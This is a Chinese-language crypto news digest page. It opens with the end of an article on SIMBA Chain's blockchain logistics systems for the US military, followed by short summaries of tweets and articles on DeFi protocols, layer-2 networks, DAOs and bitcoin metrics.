为所有机翼部件添加数字标记。当零件实体从子供应商运送到波音公司时，数字信号会通过区块链传播，每走一步都会生成不可篡改的记录。由这些记录组成的分布式账本，让这条供应链足以满足美国海军提出的四大标准： 过往几十年，电子邮件一直供应链最仰仗的通信工具。电子邮件虽然已被证明足够有效，但需要大量的操作，且几乎无法防止对数据的篡改。 SIMBA 使用区块链技术，将波音的供应链整合到一个完全同步的自动化系统中，聚合了波音公司分散在四处的数据，为 F/A-18 的机翼部件打造了了一个不可篡改、透明的供应链平台，相关的工作流再也无需人工跟踪，而是以代码的形式被编写进区块链中。 后勤物资的调动是作战任务的关键，在战时尤为如此。后勤问题也一直是困扰各国军方的一大难题。在 1991 年的海湾战争中，美军向中东发送了大约 4 万个集装箱，但由于标识不清、管理混乱，其中 2 万多个集装箱不得不被重新打开登记，再封装并重新进入物流运输系统。当海湾战争结束后，美军统计发现，有 8000 多个被打开的集装箱没有发挥任何实际作用。 海湾战争虽已结束 30 年，但美军后勤体系的进步却并不大，如此重要的后勤角色，美军并不放心使用自动化系统完成。然而，不可篡改的区块链和可自动处理消息的链上智能合约改变了这一切。 2020 年，SIMBA Chain 获得了美国国防部 120 万美元的小型企业创新研究（SBIR）第一阶段拨款，启动了用于可审计军事保密数据访问的真实性分类帐本（ALAMEDA）系统。ALAMEDA 在位于美国佛罗里达州杰克逊维尔海军航空站的东南舰队战备中心进行开发。 最初，ALAMEDA 系统的目标是使用区块链完成一个新的需求感知解决方案，确保美军能及时得到武器的更换部件。SIMBA 与美国海军陆战队合作构建了一个区块链平台，以监控佐治亚州奥尔巴尼仓库的库存和货物流动情况。 在 2021 年成功完成第一阶段后，美国海军研究所向 SIMBA 提供了 150 万美元的 SBIR 第二阶段拨款，并对 ALAMEDA 的目标进行了调整，将重点转为利用分布式账本（区块链）为美国海军和美国国防部下属的国防后勤局（DLA）提供「单一事实来源」。 具体来说，SIMBA 需要为美国海军和国防后勤局解决两个棘手的问题： 美国国防后勤局目前共有 4 个运输渠道，分别是供应商和用户直接交付渠道、国防后勤局直发渠道、据申请从仓库调货渠道、库存重新分配和运输渠道。 SIMBA 为国防后勤局提供的解决方案，同时适用于这 4 个运输渠道，只需按标准格式输入数据即可，需要的数据包括订单状态、交货确认、例外情况和预计交货日期。收到数据后，ALAMEDA 系统将跟踪编号和运输控制编号相关联，再由区块链智能合约自动处理各项请求。 ALAMEDA 系统可极大降低美军物流系统的响应延迟，解决了由于缺乏可见性而导致的问题，提高了信息的共享与安全性和货物与库存的安全性，提高了配送接收时的效率，减少分拣货物的工时，并减轻了仓库的库存压力。 SIMBA Chain 作为美军的区块链智囊，于 2020 和 2021 年分别拿到过两次美国海军提供的 150 万美元研究资金。在看到项目的表现和未来的潜力后，2023 年 2 月 1 日，美国空军出面再次向 SIMBA 提供了 3000 万美元资金，表明了美军在军用区块链领域占据领导地位的决心。 第二次世界大战引发的科学技术大爆炸，深厚地影响了战后的世界。电子计算机、GPS、数码相机、罐头食品、血库和输血、卫生巾、冻干技术、抬头显示等无数科技都源自军事技术的下放。 真正能进入大众生活的区块链真实用例，或许正将脱胎自美军的一系列需求。  ( 5 min )

  • Open

    ConsenSys zkEVM 更名为 Linea，并已全面开放测试
    ConsenSys zkEVM 更名为 Linea，并已全面开放测试 据 ConsenSys 官方消息称，ConsenSys zkEVM 更名为 Linea，并原生集成 MetaMask 和 Truffle 等工具。Linea 将零知识证明与 EVM 等价性相结合，为开发人员提供灵活性和可扩展性，而无需 zk 技术专业知识。目前 Linea 向所有开发人员、用户或协议开发测试网。 内容来源  ( 2 min )
    【英文长推】采用 GMX 的 X4 「PVP AMM」的永续 DEX：LionDEX
    Chainfeeds 导读： 喜欢永续 Dex 但厌倦了 GMX？加密 KOL 2Lambroz 撰推解析构建了 GMX 的 X4 提议的 PVP AMM LionDEX，分析其协议机制以及 4 月 1 日将发布的代币 $lion 经济模型和 NFT 的发售细节。 文章来源： https://twitter.com/2lambro/status/1640510239719178242 文章作者： 2lambroz.eth 观点： 2lambroz.eth：LionDEX 是采用 PvP-AMM 池设计的永续 Dex。对交易者友好：1）快速执行，无交易点差；2）较低的 LP 价格波动；3）更多可用的交易对和资产。交易者资金效率的提高促进了 LP 的更多费用和更高收益。【原文为英文】 内容来源 2lambroz.eth：代币分配：初始流动性 3%；Launchpad IDO 10% ，无归属期；LionDEX NFT 10% ，180 天线性归属；协议增长激励 50%；开发者基金 20%，24 个月后线性解锁；顾问费 5%，24 个月后线性解锁；空投 2%。【原文为英文】 内容来源 2lambroz.eth：LionDEX Genesis NFT，最大供应量 2000 个，价格 900 美元，募集总额 180 万美元。100% 的资金将分配给铸造初始 LP 作为 PvP-AMM 交易协议的早期稳定池，该池作为协议资产的一部分归属于协议国库。每个 NFT 可以在 180 天内质押价值 1000 USDC 的代币，每个 NFT 都有大约 1500 的免交易费额度，参与治理及获得代币空投，通过 Launchpad 售卖获得的 NFT，可在 30 天内赎回与投资的 USDC 等值的 LP。 内容来源  ( 2 min )
    【英文】a16z ：Web3 Builder 的书单推荐
    Chainfeeds 导读： a16z 官方发推为 Web3 Builder 推荐书单，涵盖 17 本书籍。 文章来源： https://twitter.com/a16zcrypto/status/1640416090294714368 文章作者： a16z 观点： a16z：1）《来自未来的男人：约翰・冯・诺依曼传记》，作者 Ananyo Bhattacharya；2）《无限机器：加密黑客大军如何用以太坊构建下一个互联网》，作者 Camila Russo；3）《权益证明：以太坊的制造和区块链的哲学》，作者 Vitalik Buterin；4）《算法之美：指导工作与生活的算法》，作者 Brian Christian 及 Tom Griffiths。【原文为英文】 内容来源 a16z：5）《设计互联网》，作者 David Clark；6）《无穷的开始：世界进步的本源》，作者 David Deutsch；7）Philip Dick 的短篇精选；8）《破解造物：基因编辑和控制进化的不可想象之力》，作者 Doudna Jennifer 和 Samuel Sternberg；9）《贝尔实验室和美国革新大时代》，作者 Jon Gertner；10）《艾伦图灵传》，作者 Andrew Hodges；11）《创业维艰：如何完成比难更难的事》，作者 Ben Horowitz。【原文为英文】 内容来源 a16z：12）《一生的旅程：华特迪士尼首席执行官的 15 年》，作者 Robert Iger；13）《美国大城市的死与生》，作者 Jane Jacobs；14）《五角大楼之脑：美国国防部高级研究计划局不为人知的历史》，作者 Annie Jacobsen；15）《延长生命：长寿简史》，作者 Steven Johnson；16）《光电帝国：爱迪生、特斯拉、威斯汀豪斯三大巨头的世界电力之争》，作者 Jill Jonnes；17）《毁灭战士之主》，作者 David Kushner。【原文为英文】 内容来源  ( 2 min )
    【英文】Farcaster VS. Lens Protocol：去中心化社交协议的比对
    Chainfeeds 导读： 加密研究员 Daniel Lombraña 过去几个月一直在使用 Farcaster 和 Lens Protocol，基于其体验，他撰文分析两个协议的构建方式，并对两者进行对比分析，介绍两者的主要区别和相似之处。他认为两个协议之间没有输赢，各有优势。 文章来源： https://paragraph.xyz/@teleyinex.eth/farcaster-vs-lens-protocol 文章作者： Daniel Lombraña 观点： Daniel Lombraña：Farcaster 建立在以太坊之上，L1 管理用户身份，使用 L2 在其用户之间传播更新（Farcaster Hubs），使用链下点对点网络来同步数据。工作原理：用户在以太坊合约中注册一个公钥 - 私钥对和一个 ID，公钥 - 私钥对用于签署消息和 ID。签名的消息被上传到 Farcaster Hub，集线器使用对等协议在它们之间共享消息并存储它们，使用增量图就其状态达成共识。通过 Hubs 存储和管理网络状态，客户端应用程序将连接到它们，以便用户为协议构建不同的客户端，为其用户自定义体验。【原文为英文】 内容来源 Daniel Lombraña：Lens 使用 L2 Polygon 存储信息。工作原理：用户需要一个「Profile」才能参与协议。Profile 是 NFT 表示的顺序 ID。NFT 将属于钱包地址，所有者是控制 profile 的人。Profile 所有者可以：1）发布；2）设置 profile 的「关注模块」，即允许其他人关注此 profile 的逻辑；3）设置 profile 的头像；4）设置 profile 的「调度程序」。拥有 Lens Profile NFT 后，用户可以发布出版物。此外，NFT 将具有所有者生成的所有出版物、评论等的历史记录。【原文为英文】 内容来源 Daniel Lombraña：二者对比：1）ID VS. Profile，用户在 Farcaster 上需要每年更新一次控制，而 Lens 只需执行一次操作。2）社交图谱，Lens 所有内容都保存在用户的 Profile 中，但在 Lens 上用户无法分离其内容，Farcaster 则可以，每个应用程序都可以依赖增量图并构建其关注者列表。3）一切上链 VS. 部分上链，Lens 的一切都保存在 Polygon 上，而 Farcaster 采用链下解决方案。4）扩张协议，用户在 Lens 上可以扩展模块，Farcatser 则需要用户对协议提出更改，并且所有集线器都应该升级以支持这些更改。【原文为英文】 内容来源  ( 31 min )
    【英文长推】比特币的哈希率触及 400 Exahash，增长来自哪里？
    Chainfeeds 导读： 比特币的哈希率持续增长，触及 400 Exhash，按照目前增长率，将在 2025 年底达到 Zettahash，River 分析师 Sam Wouters 解读该增长来自哪里，并通过数据分析算力流向哪些矿池。 文章来源： https://twitter.com/SDWouters/status/1640320086878593026 文章作者： Sam Wouters 观点： Sam Wouters：任何人都可以检查算力流向了哪些矿池。如果你查看任何矿池数据网站的 Waybackmachine，会发现差异（前提是知道这些矿池由数千名可以随时切换的个人矿工组成）：约 44 个 Exahash 去了 Foundry，约 29 个流到 AntPool，约 8 个流到 F2Pool，约 7 个流到 Binance Pool，4 个流到 Braiins Pool。其他的都是 内容来源 Sam Wouters：我发现增加的哈希率不太可能主要是民族国家。有些人喜欢对此进行推测，但这种事情发生然后保持秘密的可能性非常低，参与大规模运营的人员太多了。据传，几家大型公共矿企拥有大量未使用的 ASIC 库存。虽然去年比特币价格如此之低，ASIC 存货尽可能多地上线，但在某个时候达到了网络可以处理的最大容量。【原文为英文】 内容来源 Sam Wouters：此外，Hydro 模型已经存在了一段时间并开始进入市场，它们每台机器有 250+ TH /s，这增加了巨大的哈希率，并且估计它们目前具有最高的平均盈利能力。哈希率从何而来的答案可能有细微差别。它可能是以下各项的组合：1）未使用的库存上线；2）新模型上线 3）更多设施上线（可能是一个缓慢的过程）；4）狡猾的企业家在监管机构介入之前寻找廉价资源。【原文为英文】 内容来源  ( 2 min )
    【英文】用于 EVM 的基于代理的分析工具 Arbiter：改善 DeFi 数据安全
    Chainfeeds 导读： Primitive 协议推出 Beta 版 Arbiter，一种基于代理的尖端分析工具，提供 EVM 的奇偶校验，并为用户提供快速高效的建模和经济模糊测试，提供关于 EVM 状态如何在给定一组输入的情况下演变的精确数据。其官方撰写文档分析该产品对 DeFi 领域对速度和准确性的需求的满足，以及如何利用数据的力量改善 DeFi 数据安全。该工具已开源。 文章来源： https://www.primitive.xyz/posts/introducing_arbiter 文章作者： Primitive 观点： Primitive：Arbiter 使用完全基于 Rust 的堆栈，以利用编程语言的本机速度和内存安全性来提供最高性能的分析工具。以下概念引导我们开发 Arbiter：1）评估生产环境中智能合约的博弈论和可组合安全性。2）调查风险、资本效率、再平衡策略和投资组合复制或绩效。3）设计和测试建立在更多 DeFi 原语之上的新金融产品。【原文为英文】 内容来源 Primitive：丰富、丰富和真实的数据是准确分析背后的驱动力，而 Arbiter 确保我们能够实现这三者：1）在测试网络上运行合约并构建可以调用部署在网络上的模拟环境的代理。这种方法通常会比以前的方法慢，但会牺牲 EVM 奇偶校验；2）检查准确的链上数据，这些数据可以来自实时或历史来源。这种方法非常适合需要奇偶校验的应用程序。然而，它的主要局限在于无法控制环境或其参与者，从而限制了用户对历史数据的访问。【原文为英文】 内容来源 Primitive：Arbiter 是在名为 revm 的 EVM 的 Rust 实现上开发的，它为研究 dApp 提供了无与伦比的解决方案。该工具假设智能合约与 EVM 执行环境的交互非常低，并且可以生成大量真实的 EVM 数据。Arbiter 让我们可以利用 Rust 的速度并消除块时间或 I/O 的任何限制。鉴于 revm 的低级实现，我们可以尽可能多地控制我们构建的模拟环境。【原文为英文】 内容来源 Primitive：Arbiter 还可以允许使用真实的链上状态转换进行粒度回测。后向和前向测试技术都允许用户分析 DeFi 策略和经济安全，贯穿整个历史和专门定制的基于模型的场景。研究人员可以在与其他合约交互时识别去中心化应用程序中的异常行为，从而提供对生态系统的宝贵见解。基金、交易员和搜索者可以在模拟环境中制定策略，该策略可以轻松移植到链上实例。【原文为英文】 内容来源  ( 6 min )
    【英文长推】奇异期权协议 Cega 完成 Dragonfly 领投的 930 万美元融资，一文解读其原理机制
    Chainfeeds 导读： Solana 生态上的奇异期权协议 Cega 宣布完成由 Dragonfly 领投的 930 万美元种子轮融资，该资金旨在继续推进 DeFi 和奇异衍生品的界限突破，加速其多链扩张并推出创新 DeFi 策略。官方发推解读其协议原理机制。 文章来源： https://twitter.com/cega_fi/status/1640383936449728513 文章作者： Cega 观点： Cega：Cega 是第一个在链上创建奇异期权结构化产品的协议，自 2022 年 6 月推出以来一直是 DeFi 加密结构化产品的领先提供商。奇异期权与普通期权的不同之处在于，它添加了定制的非标准功能，为投资者提供独特的回报，例如增加收益率和针对严重市场下跌的下行保护。【原文为英文】 内容来源 Cega：例如，用户可以抵押 USDC 来交易「如果 BTC 或 ETH 在接下来的 27 天内跌幅不超过 50%，将获得 12% 的 APY」等奇异期权策略。Cega 的交易量和 TVL 在 Solana 中排名第一。多链扩张正在进行中，以启动具有加密基础的奇异期权市场。最近的这笔资金将加速 Cega 产品目录的扩展，开发新的 DeFi 创新原语，并为奇异的衍生品专家创建一个交易团队。【原文为英文】 内容来源 Cega：Cega 的首款奇异期权结构性产品是固定息票票据，它通过提供卓越的收益率、内置的下行保护和复合回报使散户投资者受益。做市商通过为其投资组合获得贴现对冲而受益。Cega 在奇异期权智能合约方面的创新创造了一个全新的 DeFi 原语，并使我们成为 Solana 上排名第一的期权协议和整个 DeFi 领域的顶级衍生品协议之一。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Rook 协议正提议解散 DAO? 或将对整个 DeFi 生态产生影响
    Chainfeeds 导读： Rook 协议正在提议解散 DAO，引起人们对项目停止和缺乏透明度的恐慌。加密 KOL Ignas 对此提案进行全面解读，认为该提案不仅对 ROOK 持有者，而且对整个 DeFi 生态都有可能产生不好的影响。 文章来源： https://twitter.com/DefiIgnas/status/1640253490651078656 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：提案中引用了管理团队与 $ROOK 代币持有人之间的利益不一致、增长缓慢以及有缺陷的把关机制。例如，目前的团队正在否决和控制不符合他们目标的社区主导的提案。提醒：ROOK 协议通过在应用程序层进行管理，帮助保护用户和去中心化应用程序免受 MEV 的负面影响。它由社区拥有并由 DAO 管理，旨在使协议、应用程序和用户受益，而不是成为有害的利润最大化实体。【原文为英文】 内容来源 Ignas | DeFi Research：该提案旨在解散 DAO 并将 ROOK 治理的金库按比例分配给 $ROOK 治理代币持有者。理由是什么？1）治理机制将代币持有者排除在流程之外，确保了管理团队的权力。2）领导层未能推动协议发展，6 个月内交易量下降了约 78%。22 位 DAO 贡献者的燃烧率为每年 610 万美元，ROOK 代币却只有 10% 的补偿。3）管理团队没有公开可用的路线图或目标。该项目目前的价值不到 1700 万美元，比 DAO 的 4400 万美元治理代币控制的储量折价 61%。【原文为英文】 内容来源 Ignas | DeFi Research：该提案正在对 $ROOK 治理代币持有者造成价值破坏，他们无法阻止财富从国库转移到管理团队。其 CEO Hazard 表示，他们「受订单流提供者意愿的约束」，但仍旧对路线图表示沉默，并承认 DAO 在运营活动在缺乏发言权。Hazard 认为公共治理和私人信息之间的平衡可能需要向公共透明度倾斜，并且淡化了代币的重要性，警告投机者不要基于 ROOK 的产出指望代币的表现。【原文为英文】 内容来源  ( 2 min )
    【英文】一文解读 Eigenlayer 及其相关术语
    Chainfeeds 导读： 加密开发者 0xAsharib 在 Eigenlayer 论坛上发贴，解读 Eigenlayer 及其相关术语。 文章来源： https://forum.eigenlayer.xyz/t/explain-eigenlayer-or-related-terminologies/424 文章作者： 0xAsharib 观点： 0xAsharib：1）EigenLayer：以太坊的重质押集合，由一组智能合约组成。它允许以太坊质押者通过对其质押的以太坊施加额外的罚没条件来验证基于以太坊生态系统构建的新软件模块。这提高了 DApp 的安全性并提供了新的费用共享机会，这是一个建立在以太坊区块链之上的层，允许在不损害以太坊基础层的民主治理的情况下进行敏捷创新。【原文为英文】 内容来源 0xAsharib：2）罚没（slashing）条件：如果质押者行为不端或不遵守协议，则通过拿走一部分质押的 ETH 来惩罚质押者的规则。3）主动验证服务（AVS）：需要自己的分布式验证语义进行验证的服务，例如侧链、数据可用性层、新虚拟机、守护者网络、预言机网络、桥接器、阈值加密方案和可信执行环境。4）Boostrapping 问题：为新的 AVS 创建新的信任网络的挑战，这可能很困难且需要大量资源。【原文为英文】 内容来源 0xAsharib：5）价值泄漏：费用从以太坊转移到 AVS 信任池，减少了以太坊积累的价值。6）通过重抵押的共享安全性：共享安全性是指多方结合他们的资源为系统提供更大的整体安全性。在 EigenLayer 中，以太坊验证者可以通过选择在 EigenLayer 上构建的新模块来「重质押」他们的以太坊。这意味着他们承诺他们质押的以太也可以保护这些新模块，从而提高系统的整体安全性。【原文为英文】 内容来源 0xAsharib：7）超大规模 AVS（Hyperscale AVS）：为水平扩展而设计的特定于应用程序的验证器集，其中总计算工作负载分布在所有参与节点上。这种设计允许高吞吐量并减少中心化验证的动机。8）超大规模数据可用性层（Hyperscale DAL）：数据可用性层，可以处理大量数据，以低成本提供高数据可用性率。它使用 EigenLayer 重质押和来自以太坊社区的前沿思想，例如 Danksharding。【原文为英文】 内容来源  ( 10 min )
    【英文长推】一文了解 Mantle 生态基金和扶持计划
    Chainfeeds 导读： 近日，Mantle 宣布了他们的生态基金和扶持计划的部署，提供价值高达 2 亿美元的资金准备部署。加密货币 KOL CJ 详细介绍了此计划以及通过审核的项目可以获得 Mantle 的哪些支持。 文章来源： https://twitter.com/cjcjcjcj_/status/1640356760174358530 文章作者： CJ 观点： CJ：Mantle 生态基金包括什么：本质上是一个巨大的 VC 类型基金，包括来自 BitDAO 国库的 1 亿美元 USDC 和另外来自其他战略风险投资合作伙伴的 1 亿美元 USDC。该基金主要分为四个关键点：1）将开发人员和 dapp 推广到 Mantle 上；2）让大型风险投资公司投资于构建在 Mantle 上项目中；3）在支持建设者同时保持 Mantle 生态系统繁荣；4）获得利润。需要注意的是，第一点比第二至第四点更重要。因此，在 Mantle 上专门构建项目将具有优势。【原文为英文】 内容来源 CJ：Mantle 的拨款计划已经上线并接受申请，主要分为 3 个项目：现有项目（高达 100K 美元）；构思阶段（高达 25k 美元）；用户活动挖掘（高达 25k 美元）。大多数以 USDC 支付，项目也可以请求以 BIT 的形式支付。所有通过审核的项目都将得到 Mantle 的支持：市场营销；开发 / 工程；网络 / 与 DAO 潜在合作伙伴关系；可能列入 Bybit 名单。【原文为英文】 内容来源  ( 2 min )
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经
    Chainfeeds 导读： Etherscan 是一个帮助用户浏览以太坊区块链的工具，更常被称为区块链浏览器，每月有 8000 万次的访问量。Etherscan 没有代币，那么它的收入来源是什么呢？Launchy 认为其通过提供 SaaS、API 计划、广告和捐赠等方式产生收入，并估算 Etherscan 每年的收入为 623 万到 2149 万美元。本文由深潮 TechFlow 编译。 文章来源： https://m.techflowpost.com/article/2322 文章作者： 深潮 TechFlow 观点： 深潮 TechFlow：Etherscan 从以下方面产生收入：SaaS：Etherscan 提供主要为 B2B 的 SaaS 服务。API 计划：Etherscan 提供 API 计划以访问其数据，价格从免费到每月 399 美元不等，并有未公开的企业定价。广告：Etherscan 有 5 种类型的广告。链上服务：我们发现 Etherscan 的其中一个产品 BSCscan 提供委托服务，而且 Etherscan 正在开发其他的链上工具，包括钱包对钱包的消息传递、代币授权撤销工具等等。捐赠：这很简单。该平台允许用户捐款支持其开发和维护。 内容来源 深潮 TechFlow：Etherscan 的收入：每年 623 万到 2149 万美元。新闻简报：每年 12 万到 30 万美元；网站广告：每年 320 万到 864 万美元；API 计划、链上服务和 B2B SaaS：每年 291 万到 1255 万美元；Etherscan 的支出：每年 125 万到 433 万美元。我们的粗略估算结果是：最低毛利润为 190 万美元（623 万美元 - 433 万美元）；最高毛利润为 2024 万美元（2149 万美元 - 125 万美元）。 内容来源  ( 2 min )
    【英文长推】Messari：针对 AI 相关问题提出基于加密技术的解决方案
    Chainfeeds 导读： 随着 AI 开发利用的步伐持续加快，需要解决成本上升和资源需求增加等问题。Messari 研究员 Sami Kassab 探讨了加密技术如何解决这些问题。 文章来源： https://twitter.com/messaricrypto/status/1640363562022604800 文章作者： Messari 观点： Messari：AI 的进步是由三个主要因素（算法创新、数据、计算）驱动的，但有两个问题已经浮出水面：计算瓶颈、效率低下和缺乏协作。训练基础机器学习模型需要大量资源，通常涉及长时间使用大量 GPU。人工智能的高昂计算成本给追求进步的研究人员和组织造成了重大障碍。【原文为英文】 内容来源 Messari：加密技术如何满足计算需求？分步式计算网络将寻求计算资源的实体连接到具有空闲计算的系统。无需额外费用，去中心化网络可以提供负担得起的选择。缺乏协作导致效率低下，使较小的机器学习研究实验室处于不利地位。bittensor 正在解决机器学习中的低效率问题，同时通过使用标准化输入和输出编码以实现模型互操作性来激励在开源网络上产生知识，从而改变研究人员的协作方式。【原文为英文】 内容来源  ( 2 min )
    【英文长推】观点：Web3 与 Web2 品牌的合作不是促进 NFT 大规模采用的关键
    Chainfeeds 导读： 昨日，Yuga Labs 宣布与 Gucci 建立合作关系，旨在「通过探索元宇宙中时尚与娱乐的交叉点」来增加社区之间的参与。NFT 研究员 Hunter Solaire 以 Web3 与传统大品牌合作为例，他认为类似的合作暂时还不会促进的 NFT 的大规模采用，先决条件是区块链技术能够在速度、质量和易用性方面有巨大提升。 文章来源： https://twitter.com/huntersolaire_/status/1640377011775627265 文章作者： Hunter Solaire 观点： Hunter Solaire：Web3 中的大多数品牌合作在经历两天的炒作后就会被遗忘。早在 2021 年，任何品牌进入 Web3 都会引起人们的 FOMO。诚然，品牌进入 Web3 有着各种目的，但我认为 NFT 的大规模采用绝对不是其中之一。【原文为英文】 内容来源 Hunter Solaire：品牌确实在努力：1. 创收；2. 建立社区（尤其是年轻社区）；3. 激励客户忠诚度。NFT 可以解锁这些效用，但这需要建立在更好的参与体验上。Web3 项目必须构建：1. 游戏；2. 社交中心；3. 人们愿意在花费 100 小时的沉浸式宇宙。这是目前我们当前还没有做到的。【原文为英文】 内容来源 Hunter Solaire：好消息是 Otherside 已经完成了一次测试，允许 7200 位玩家同时体验一个活动现场。我认为，只有在区块链可以提供速度、质量和易用性方面的优秀体验，我们才能与 Web2 巨头竞争。【原文为英文】 内容来源  ( 2 min )
    【英文】Glassnode 比特币链上指标周报
    Chainfeeds 导读： 速览比特币链上指标本周走势：交易所净流入增加，以短期持有者为主；实现的利润 / 损失与 Lifespan 指标均处于宏观下降趋势中；大多数比特币在链上似乎并不活跃；市场再一次进入过渡期。 文章来源： https://insights.glassnode.com/the-week-onchain-week-13-2023/ 文章作者： glassnode 观点： glassnode：本周交易所净交易流量增加了约 4180 BTC，这是自 2022 年 5 月 LUNA 崩盘以来的最大净增幅。这表明随着投资者撤出筹码，一定程度的获利回吐正在进行中。在上一个周期出现类似或更大净流入的事件都与主要的市场波动一致，通常是下行。短期持有者占总流入量的 92.5%，其中 65% 是利润，长期持有者占 7.5%，其中 80% 是利润。【原文为英文】 内容来源 glassnode：实现的利润 / 损失与 Lifespan 指标都处于宏观下降趋势中，这表明大多数代币在链上仍然不活跃。投资者持有时间（Coin Days Destroyed，CDD）略有上升但仍远低于典型的牛市水平。这表明卖出的代币仍相对较新，即短期持有者目以获利回吐为主。【原文为英文】 内容来源 glassnode：随着比特币市场休整，投资者获利回吐开始升温。在周期低点附近买入的短期持有者主导了大部分卖出行为，大多数比特币在链上似乎并不活跃，这表明投资者继续对当前的上涨趋势充满信心。从比特币的 Lifespan 的角度来看，比特币似乎又一次进入了市场过渡期。【原文为英文】 内容来源  ( 6 min )
    【英文长推】zkSync 生态系统中的六大更新动态
    Chainfeeds 导读： 随着 zkSync Era 主网的上线，基于 zkSync Era 令人兴奋的项目浪潮仍在继续。zkSync 列举了不断增长的生态系统中六个主要更新。 文章来源： https://twitter.com/zksync/status/1640399537868247040 文章作者： zkSync∎ 观点： zkSync∎：1）Web3 基础设施协议 The Graph 宣布，可以在 Subgraph Studio 中为 zkSync Era 主网构建子图。2）全球加密货币交易所 LBank 宣布支持 zkSync Era。3）智能数据解决方案 Pyth Network 宣布，他们的数据解决方案现在可供开发者在 zkSync Era 上构建。【原文为英文】 内容来源 zkSync∎：4）跨链 web3 平台 SpaceFi 宣布向 zkSync Era 推出其产品，并描述了即将为用户带来的一些创新功能。5）NFT 市场 zk Eagles 宣布登陆 zkSync Era 主网，并解释了团队对降低的燃料费、闪电般的交易以及 zk-rollup 技术光明的未来感到兴奋的原因。6）Layer2 网关 rhinofi 宣布在通往 zkSync Era 的桥上传递了 20,000 txs。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文解析使用 ZK rollup 技术的以太坊 Layer 2：zkSync
    Chainfeeds 导读： 近日 zkSync Era 主网正式上线，这是他们推出阶段的第一个产品，可以被视为 Alpha 版本。用户目前可以桥接到主网并与已经上线的项目进行交互。加密货币 KOL francesco 将其与 Optimistic Rollup 机制进行对比，从产品属性、优势、风险等方面解析了此项目。 文章来源： https://twitter.com/francescoglt/status/1639292448269819904 文章作者： francesco 观点： francesco：与 Optimistic Rollup 相比，zkSync 允许用户更快地桥接和提取资金，在多个 Layer2 中交互时，这一功能将越来越重要。zkSync Era 安全模型「保证以太坊 100％的安全性」，它不依赖于欺诈证明或博弈论，而是基于「基本数学和密码原语」。与现有 zkevm 相比，zkSync 做出了一些具有见解性的架构选择。例如，他们决定通过发布每笔交易涉及的存储槽的更新来管理日期可用性。【原文为英文】 内容来源 francesco：属性：1）数据可用性：免费调用数据。2）数据压缩：通过 zkSync 仅需要在巨大批次结束时为单个存储槽支付最终价格。3）数据扩展：某些数据不必发布在以太坊上，只需要以太坊保证交易的有效性，但数据可以被丢弃（例如一次性投票活动）。4）与以太坊兼容：zkSync Era 支持源代码 EVM 兼容性。【原文为英文】 内容来源 francesco：风险：由于 zk 是全新技术，涉及基本系统风险（如智能合约风险）。因此必须具有缓解机制，包括具有多层安全性：如果一个失败了，则必须依靠备份。这些复杂系统存在固有风险：很难预测风险将出现在哪里。这就是为什么系统架构必须尽可能简单和隔离，并具有最简单的界面。【原文为英文】 内容来源  ( 2 min )
    【英文】解析 Arbitrum 生态 AMM 协议 Chronos：如何为 ve (3,3) 引入长期流动性
    Chainfeeds 导读： Arbitrum 生态 AMM 协议 Chronos 以 SolidLizard 价格和 TVL 为例，探讨了其代表的 ve (3,3) 机制中代币价格和协议 TVL 的相关性。Chronos 通过 Maturity Adjusted LPs（maNFTs）为 LP 创造了新的机制，更大程度避免 LP 在价格波动情况下撤回流动性。 文章来源： https://medium.com/@chronosarbitrum/case-study-why-ve-3-3-needs-sticky-liquidity-85443a3720da 文章作者： Chronos 观点： Chronos：以 SolidLizard 价格和 TVL 为例：在上升趋势中，ve (3,3) 飞轮在推动 DEX 流动性方面非常强大；然而，在下降趋势中，SLIZ 的价格未能找到价格下限，因为与价格下跌相关的流动性被抽出并形成负反馈循环；价格与 TVL 的相关性会滞后约 2 天；TVL 需要 4 天的稳定才能转化为 SLIZ 价格的回升；有了保留流动性超过 2 天的机制，SLIZ 价格就有机会恢复并进一步维持飞轮。【原文为英文】 内容来源 Chronos：Chronos 的解决方案：1. 更具粘性的流动性：通过奖励那些在平台上保持较长时间的资金的用户来创造更多的流动性。当用户质押 LP 代币时会收到一个特殊的 maNFT，追踪其质押时间并在六周内提高代币的排放量；2. 时间价值成分：通过为 LP 头寸引入时间价值成分，创造激励机制。LP 可以在二级市场上以溢价出售他们的头寸，而不是在暂时的波动中撤出他们的资产。【原文为英文】 内容来源  ( 12 min )
    【英文】探索不同类型区块链应用程序的可扩展性需求及解决方案
    Chainfeeds 导读： 加密 KOL polynya 将所有区块链应用程序分为货币、DeFi、身份生态系统、DAO 和混合应用程序等 5 大类型，并逐一分析了各个类别的应用程序对区块链可扩展性的需求及合适的解决方案。 文章来源： https://polynya.mirror.xyz/vqdR7FHEzc-lfsWjA88s1uqYqLSgQoWvWm-KN39Zb2M 文章作者： polynya 观点： polynya：货币：对货币而言，最重要的用例是一种替代储备资产，一种价值存储。然后是可用于日常支付的稳定币和代币。总体而言，整个货币体系都是很容易解决的，并且不需要在链上进行太多的计算或数据占用。真正的瓶颈不是规模，而是用户体验、信任、Lindy 效应以及一般的用户如何进入等等。【原文为英文】 内容来源 polynya：DeFi：对于 DeFi，可编程性和 VM 是必要的，但最主要的要求是安全性。EVM 是「黄金标准」，扩展 DeFi 的圣杯是 zkEVM，但在 zkEVMs 成熟之前，EVM optimistic rollups 是最好的选择。当然，可以有更多实验性的 DeFi 相关应用程序可以构建在更新颖的 VM 上，但核心最好由 EVM 社区提供。【原文为英文】 内容来源 polynya：身份生态系统：身份生态系统最好由 ZK 链提供服务，它可以是 L1 或 L2。L2 对于加入广泛的以太坊社区非常有意义，已经有大量用户正在使用 ENS 或 POAP 等应用程序；但是，我也对以身份为重点的创新新 L1 的可能性持开放态度。总言之，这是另一个不需要大量传统可扩展性的类别，但可以从专门构建的隐私 ZK VM 中获益匪浅。【原文为英文】 内容来源 polynya：DAO：DAO 根据其性质需要不同类型的扩展。大型互联网原生 DAO 可能会保留在以太坊 L1 上，将它们的一些功能（如投票和协调）转移到 L2。也有有一些 DAO 只是将部分数据提交到他们选择的 L2 或 L1。一个例子可能是 DAO 有自己的协调、投票等的 volition chain，但只有代币是通过 Rollups 模式桥接的。【原文为英文】 内容来源 polynya：混合应用程序：混合应用程序是一个广泛的类别，其中一些应用程序确实需要百万级 TPS 吞吐量、新颖的 VM，但有些甚至可能没有块或链，只有 ZKP 来验证完整性。在许多情况下，混合应用程序真正需要的只是访问加密经济。这些低价值应用程序在自己的侧链 / L1 上会更好。【原文为英文】 内容来源 